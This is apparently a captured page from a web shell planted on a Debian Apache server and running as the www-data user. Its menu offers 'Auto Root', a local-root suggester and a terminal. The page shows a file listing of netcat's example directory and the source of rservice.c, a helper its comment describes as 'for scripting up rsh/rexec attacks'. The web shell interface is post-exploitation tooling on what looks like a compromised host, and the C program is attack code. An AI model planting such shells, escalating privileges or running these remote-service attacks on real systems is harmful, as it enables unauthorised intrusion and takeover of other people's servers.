Linux vmi2545633.contaboserver.net 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
Apache/2.4.62 (Debian)
Server IP : 127.0.0.1 & Your IP : 127.0.0.1
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
netcat-traditional /
examples /
data /
Delete
Unzip
Name
Size
Permission
Date
Action
Makefile
186
B
-rw-r--r--
1996-03-20 20:14
README
440
B
-rw-r--r--
1996-03-20 20:10
data.c
6.56
KB
-rw-r--r--
1996-02-27 13:43
dns-any.d
450
B
-rw-r--r--
1996-02-01 18:13
nfs-0.d
520
B
-rw-r--r--
1996-02-01 19:30
pm.d
353
B
-rw-r--r--
1996-02-23 20:42
pmap-dump.d
1.33
KB
-rw-r--r--
1996-02-06 04:33
pmap-mnt.d
1.53
KB
-rw-r--r--
1996-02-01 19:31
rip.d
1.07
KB
-rw-r--r--
1996-02-01 19:33
rservice.c
1.41
KB
-rw-r--r--
2021-08-20 11:41
showmount.d
921
B
-rw-r--r--
1996-02-01 19:37
xor.c
1.96
KB
-rw-r--r--
1996-02-18 03:18
Save
Rename
/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up rsh/rexec attacks. Needs to be a prog because shells strip out nulls. args: locuser remuser [cmd] remuser passwd [cmd] cmd defaults to "pwd". ... whatever. _H*/ #include <stdio.h> /* change if you like; "id" is a good one for figuring out if you won too */ static char cmd[] = "pwd"; static char buf [4096]; main(argc, argv) int argc; char * argv[]; { register int x; register int y; char * p; char * q; p = buf; memset (buf, 0, sizeof (buf)); p++; /* first null */ y = 1; if (! argv[1]) goto wrong; strncpy (p, argv[1], sizeof (buf) - y); /* first arg plus another null */ x = strlen (argv[1]) + 1; p += x; y += x; if (y >= sizeof (buf)) goto over; if (! argv[2]) goto wrong; strncpy (p, argv[2], sizeof (buf) - y); /* second arg plus null */ x = strlen (argv[2]) + 1; p += x; y += x; if (y >= sizeof (buf)) goto over; q = cmd; if (argv[3]) q = argv[3]; strncpy (p, q, sizeof (buf) - y); /* the command, plus final null */ x = strlen (q) + 1; p += x; y += x; if (y >= sizeof (buf)) goto over; strncpy (p, "\n", sizeof (buf) - y); /* and a newline, so it goes */ y++; write (1, buf, y); /* zot! */ exit (0); wrong: fprintf (stderr, "wrong! needs 2 or more args.\n"); exit (1); over: fprintf (stderr, "out of memory!\n"); exit (1); }